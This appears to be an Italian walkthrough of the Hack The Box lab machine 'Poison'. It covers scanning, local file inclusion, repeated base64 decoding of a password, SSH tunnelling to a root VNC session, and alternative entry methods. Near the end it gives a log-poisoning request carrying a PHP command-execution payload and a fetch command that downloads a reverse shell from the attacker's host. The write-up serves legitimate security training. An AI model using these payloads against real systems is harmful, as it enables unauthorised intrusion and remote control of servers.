HTB - Poison
Default IP: 10.10.10.84
Video: HTB - Poison
Table of contents:
A seguire è riportato un breve walkthrough della macchina Poison offerta dalla piattaforma Hack the Box.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET Nmap scan report for poison (10.129.69.246) Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.21 seconds
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET Stats: 0:03:53 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 68.83% done; ETC: 00:38 (0:01:46 remaining) Stats: 0:03:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 69.27% done; ETC: 00:38 (0:01:44 remaining) Nmap scan report for poison (10.129.69.246) Host is up (0.055s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 336.94 seconds
----------------- DIRB v2.22 By The Dark Raver ----------------- OUTPUT_FILE: tempo.dirb START_TIME: Sat May 5 10:06:22 2018 URL_BASE: http://10.10.10.84/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt OPTION: Not Recursive ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.84/ ---- + http://10.10.10.84/index.php (CODE:200|SIZE:289) + http://10.10.10.84/info.php (CODE:200|SIZE:157) + http://10.10.10.84/phpinfo.php (CODE:200|SIZE:68229) ----------------- END_TIME: Sat May 5 10:09:13 2018 DOWNLOADED: 4612 - FOUND: 3
Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
Using the following script
#!/usr/bin/sh END=13 FILE="pwdbackup.txt." for i in $(seq 0 $END); do (cat $FILE$i | base64 -d) > $FILE$((i+1)) done
on the previous file we get the following password
Charix!2#4%6&8(0
Using password Charix!2#4%6&8(0
ssh charix@poison
The password was actually Charix!2#4%6&8(0 and the was the following
[leo@kali poison]$ file secret secret: Non-ISO extended-ASCII text, with no line terminators [leo@kali poison]$ cat secret [|Ֆz![leo@kali poison]$ hexdump -C secret 00000000 bd a8 5b 7c d5 96 7a 21 |..[|..z!|
Some process (not all)
root 319 0.0 0.5 9560 5052 - Ss 20:20 0:00.05 /sbin/devd root 390 0.0 0.2 10500 2396 - Ss 20:20 0:00.03 /usr/sbin/syslogd -s root 543 0.0 0.5 56320 5392 - S 20:21 0:00.42 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.conf -p /usr/local/lib/open-vm-tools/plugins/vmsvc root 620 0.0 0.7 57812 7052 - Is 20:21 0:00.03 /usr/sbin/sshd root 634 0.0 1.1 99172 11516 - Ss 20:22 0:00.04 /usr/local/sbin/httpd -DNOHTTPACCEPT www 646 0.0 1.2 101220 12356 - S 20:22 0:00.49 /usr/local/sbin/httpd -DNOHTTPACCEPT www 647 0.0 1.2 101220 12220 - S 20:22 0:00.46 /usr/local/sbin/httpd -DNOHTTPACCEPT www 648 0.0 1.2 101220 12244 - S 20:22 0:00.47 /usr/local/sbin/httpd -DNOHTTPACCEPT www 650 0.0 1.2 101220 12184 - S 20:22 0:00.47 /usr/local/sbin/httpd -DNOHTTPACCEPT www 651 0.0 1.2 101220 12212 - S 20:22 0:00.50 /usr/local/sbin/httpd -DNOHTTPACCEPT www 652 0.0 1.2 101220 12212 - S 20:22 0:00.53 /usr/local/sbin/httpd -DNOHTTPACCEPT root 654 0.0 0.6 20636 6204 - Ss 20:23 0:00.01 sendmail: accepting connections (sendmail) smmsp 657 0.0 0.6 20636 5872 - Is 20:23 0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail) root 661 0.0 0.2 12592 2436 - Is 20:23 0:00.00 /usr/sbin/cron -s root 718 0.0 0.8 85228 7836 - Is 20:23 0:00.02 sshd: charix [priv] (sshd) www 720 0.0 1.2 101220 12216 - S 20:23 0:00.43 /usr/local/sbin/httpd -DNOHTTPACCEPT charix 749 0.0 0.8 85228 7908 - S 20:24 0:00.07 sshd: charix@pts/2 (sshd) root 754 0.0 0.8 85228 7836 - Is 20:24 0:00.02 sshd: charix [priv] (sshd) charix 762 0.0 0.8 85228 7888 - I 20:25 0:00.04 sshd: charix@pts/3 (sshd) www 798 0.0 1.2 101220 12216 - S 20:26 0:00.34 /usr/local/sbin/httpd -DNOHTTPACCEPT www 839 0.0 1.2 101220 12220 - S 20:27 0:00.27 /usr/local/sbin/httpd -DNOHTTPACCEPT www 843 0.0 1.2 101220 12196 - S 20:27 0:00.26 /usr/local/sbin/httpd -DNOHTTPACCEPT www 846 0.0 1.2 101220 12192 - S 20:27 0:00.29 /usr/local/sbin/httpd -DNOHTTPACCEPT www 847 0.0 1.2 101220 12216 - S 20:27 0:00.24 /usr/local/sbin/httpd -DNOHTTPACCEPT root 529 0.0 0.9 23620 8868 v0- I 20:21 0:00.05 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/p root 540 0.0 0.7 67220 7064 v0- I 20:21 0:00.04 xterm -geometry 80x24+10+10 -ls -title X Desktop root 541 0.0 0.5 37620 5312 v0- I 20:21 0:00.02 twm root 708 0.0 0.2 10484 2076 v0 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv0 root 709 0.0 0.2 10484 2076 v1 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv1 root 710 0.0 0.2 10484 2076 v2 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv2 root 711 0.0 0.2 10484 2076 v3 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv3 root 712 0.0 0.2 10484 2076 v4 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv4 root 713 0.0 0.2 10484 2076 v5 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv5 root 714 0.0 0.2 10484 2076 v6 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv6 root 715 0.0 0.2 10484 2076 v7 Is+ 20:23 0:00.00 /usr/libexec/getty Pc ttyv7 root 566 0.0 0.4 19660 3616 0 Is+ 20:21 0:00.02 -csh (csh)
root sshd 620 4 tcp4 *:22 *:* root twm 541 3 stream -> /tmp/.X11-unix/X1 root xterm 540 3 stream -> /tmp/.X11-unix/X1 root Xvnc 529 0 stream /tmp/.X11-unix/X1 root Xvnc 529 1 tcp4 127.0.0.1:5901 *:* root Xvnc 529 3 tcp4 127.0.0.1:5801 *:* root Xvnc 529 4 stream /tmp/.X11-unix/X1 root Xvnc 529 5 stream /tmp/.X11-unix/X1
I soliti scan con namp ci revelano la seguente situazione
nmap -sC -sV poison
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET Nmap scan report for poison (10.129.69.246) Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.21 seconds
Come possiamo vedere, abbiamo un server nella porta 80 e un server ssh nella porta 22.
La prima cosa che notiamo andando nel sito web è che tramite lo
script browser.php
abbiamo una LFI tramite il parametro file
.
Inoltre, chiamando lo script listfiles.php
andando nel seguente URL
http://poison/browse.php?file=listfiles.php
otteniamo una una lista di file, che probabilmente è la lista dei file presenti in una cartella del web server.
Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )
tra questi notiamo in particolare il file pwdbackup.txt
. Andandolo
a leggere tramite la solita LFI otteniamo
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
Notiamo che il contenuto del file pwdbacup.txt
è molto
probabilmente codificato in base64
. Per essere sicuri di questo
possiamo fare le seguenti considerazioni (link utile):
La lunghezza della codifica è un multiplo di 4.
# counts number of characters that are not newlines in a file expr $(cat test.txt | tr -d '\n' | wc -c) / 4 # --> 1164 perl -e 'print 1164 / 4' # --> 291
Ogni carattere della codifica appartiene all'insieme di caratteri
A-Z
,a-z
,0-9
,+
,/
, tranne che per il padding alla fine, che può essere composto dai caratteri0
,1
o=
.
Per decodificare il file iniziamo notando che possiamo
codificare/decodificare una data stringa in base64 utilizzando il
comando ononimo base64
.
# encoding echo "hello world" | base64 # -- aGVsbG8gd29ybGQK # decoding echo "aGVsbG8gd29ybGQK" | base64 -d # -- hello world
Per decodificare il contenuto del file 13 volte di fila possiamo
quindi utilizzare il seguente script bash. Per far funzionare
corretamente lo script dobbiamo prima salvare la codifica originale
in un file chiamato pwdbackup.txt.0
#!/usr/bin/sh END=13 FILE="pwdbackup.txt." for i in $(seq 0 $END); do (cat $FILE$i | base64 -d) > $FILE$((i+1)) done
Eseguendo lo script otteniamo quindi 14 file diversi
[leo@kali poison]$ ls decode.sh pwdbackup.txt pwdbackup.txt.0 [leo@kali poison]$ ./decode.sh [leo@kali poison]$ ls -lha totale 72K drwxr-xr-x 2 leo leo 4,0K 19 dic 01.10 . drwxr-xr-x 3 leo leo 4,0K 19 dic 00.32 .. -rwxr-xr-x 1 leo leo 127 19 dic 01.10 decode.sh -rw-r--r-- 1 leo leo 1,2K 19 dic 01.06 pwdbackup.txt -rw-r--r-- 1 leo leo 1,2K 19 dic 01.10 pwdbackup.txt.0 -rw-r--r-- 1 leo leo 872 19 dic 01.10 pwdbackup.txt.1 -rw-r--r-- 1 leo leo 53 19 dic 01.10 pwdbackup.txt.10 -rw-r--r-- 1 leo leo 37 19 dic 01.10 pwdbackup.txt.11 -rw-r--r-- 1 leo leo 25 19 dic 01.10 pwdbackup.txt.12 -rw-r--r-- 1 leo leo 16 19 dic 01.10 pwdbackup.txt.13 -rw-r--r-- 1 leo leo 645 19 dic 01.10 pwdbackup.txt.2 -rw-r--r-- 1 leo leo 475 19 dic 01.10 pwdbackup.txt.3 -rw-r--r-- 1 leo leo 349 19 dic 01.10 pwdbackup.txt.4 -rw-r--r-- 1 leo leo 256 19 dic 01.10 pwdbackup.txt.5 -rw-r--r-- 1 leo leo 187 19 dic 01.10 pwdbackup.txt.6 -rw-r--r-- 1 leo leo 138 19 dic 01.10 pwdbackup.txt.7 -rw-r--r-- 1 leo leo 102 19 dic 01.10 pwdbackup.txt.8 -rw-r--r-- 1 leo leo 73 19 dic 01.10 pwdbackup.txt.9
Il file di nostro interesse in particolare è il file chiamato
pwdbackup.txt.13
, in quanto contiene il valore ottenuto iterando 13
volte di fila la decodifica base64.
[leo@kali poison]$ cat pwdbackup.txt.13 Charix!2#4%6&8(0
Per entrare effettivamente nel server inizialmente possiamo utilizzare ssh e la password appena trovata. Notiamo infatti che le credenziali di accesso sono le seguenti
charix:Charix!2#4%6&8(0
Mentre la password è stata ottenuta nello step precedente, l'username lo si è dovuto indovinare dalla password.
Una volta entrati possiamo subito leggere la flag user.txt
nella
home directory dell'utente charix
charix@Poison:~ % ls secret.zip user.txt
Dopo aver preso la user flag notiamo che nella home directory
dell'utente charix
c'è un file particolare, chiamato secret.zip
-rw-r----- 1 root charix 166B Mar 19 2018 secret.zip
Per unzipparlo ci viene richiesta una password. La password scoperta prima (quella dell'utente charix che ci ha permesso di entrare nella macchina) sembra funzionare.
[leo@kali poison]$ unzip secret.zip Archive: secret.zip [secret.zip] secret password: extracting: secret
Una volta unzippato otteniamo un file chiamato secret
, che a quanto
pare contiene del contenuto in binario.
[leo@kali poison]$ file secret secret: Non-ISO extended-ASCII text, with no line terminators [leo@kali poison]$ cat secret [|Ֆz![leo@kali poison]$ hexdump -C secret 00000000 bd a8 5b 7c d5 96 7a 21 |..[|..z!|
Continuando, possiamo eseguire il comando ps aux
per notare, tra i
vari processi, anche il seguente, che ci permette di capire che il
programma Xvnc
sta girando come l'utente root
.
root 614 0.0 0.9 23620 8868 v0- I 00:33 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc
Utilizzando poi il programma sockstat
vediamo che il programma Xvnc
sta ascoltando nelle seguenti porte
charix@Poison:~ % sockstat // ---- root Xvnc 614 0 stream /tmp/.X11-unix/X1 root Xvnc 614 1 tcp4 127.0.0.1:5901 *:* root Xvnc 614 3 tcp4 127.0.0.1:5801 *:* root Xvnc 614 4 stream /tmp/.X11-unix/X1 root Xvnc 614 5 stream /tmp/.X11-unix/X1 // ----
Dato che Xvnc
sta ascoltando in una porta locale, per connetterci a
tale programma dobbiamo utilizzare l'abilità di ssh di creare dei
tunnel. Possiamo creare un tunnel che connette la porta locale
\(1337\) della nostra macchina con la porta locale \(5801\) della
macchina remota nel seguente modo
[leo@kali poison]$ ssh charix@poison -L 1337:localhost:5801
Una volta che abbiamo creato il tunnel possiamo utilizzare il
programma vncviewer
nella nostra macchina per connetterci
all'istanza remota di Xvnc
[leo@kali poison]$ vncviewer -passwd secret localhost:5902
Dove notiamo che il file secret
è il file ottenuto precedentemente
unzippando l'archivio secret.zip
trovato nella macchina remota.
Dopo aver lanciato il comando vncivewer
abbiamo ottenuto una shell
grafica da root nella macchina remota. A questo punto possiamo
tranquillamente leggere la root flag nella path
/root/root.txt
Andiamo adesso a vedere due metodi alternativi per entrare nella macchina.
Il primo metodo è un metodo abbastanza generale per attaccare le applicazioni scritte in php che funziona quando le seguenti ipotesi sono soddisfatte:
abbiamo una scoperto una LFI.
siamo in grado di leggere la pagina
phpinfo()
L'idea è quella di exploitare una race condition che ci permette di eseguire del codice arbitrario php nel seguente modo:
Inviamo una richiesta con un payload scritto in php nella pagina
phpinfo()
.Dalla pgina
phpinfo()
leggiamo il nome del file in cui l'engine php ha salvato il payload inviato precedentemente.Utilizzando la LFI andiamo ad accedere alla path letta nel passo precedente.
Dato però che l'engine php rimuove tutti i file temporanei una volta che ha finito di processare la richiesta, per cercare di leggere il codice php prima che questo venga eliminato possiamo aggiungere del padding in vari campi dell'header.
Per maggiori informazioni rimando al seguente link: LFI with phpinfo() assistance.
Un altro modo per entrare nella macchina consiste nel fare log poisoning nei log situati nel file
/var/log/httpd-access.log
Per fare questo possiamo inviare la seguente richiesta HTTP
GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1 Host: poison Upgrade-Insecure-Requests: 1 User-Agent: <?php system($_REQUEST['cmd']); ?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
Andando ad accedere al log utilizzando la LFI possiamo quindi eseguire i nostri comando
http://poison/browse.php?file=/var/log/httpd-access.log&cmd=whoami
Infine, per ottenere la shell possiamo utilizzare il comando fetch
nella macchina remota per trasportare nella vittima una revshell
scritta in php.
# command fetch -o /tmp/shell.php http://<our_ip>:<our_port>/revshell.php # url encoded fetch%20-o%20%2Ftmp%2Fshell.php%20http%3A%2F%2F10.10.14.54%3A8000%2Frevshell.php%20
Una volta fatto questo possiamo semplicemente utilizzare la LFI per spawnare la nostra rev shell.
http://poison/browse.php?file=/tmp/shell.php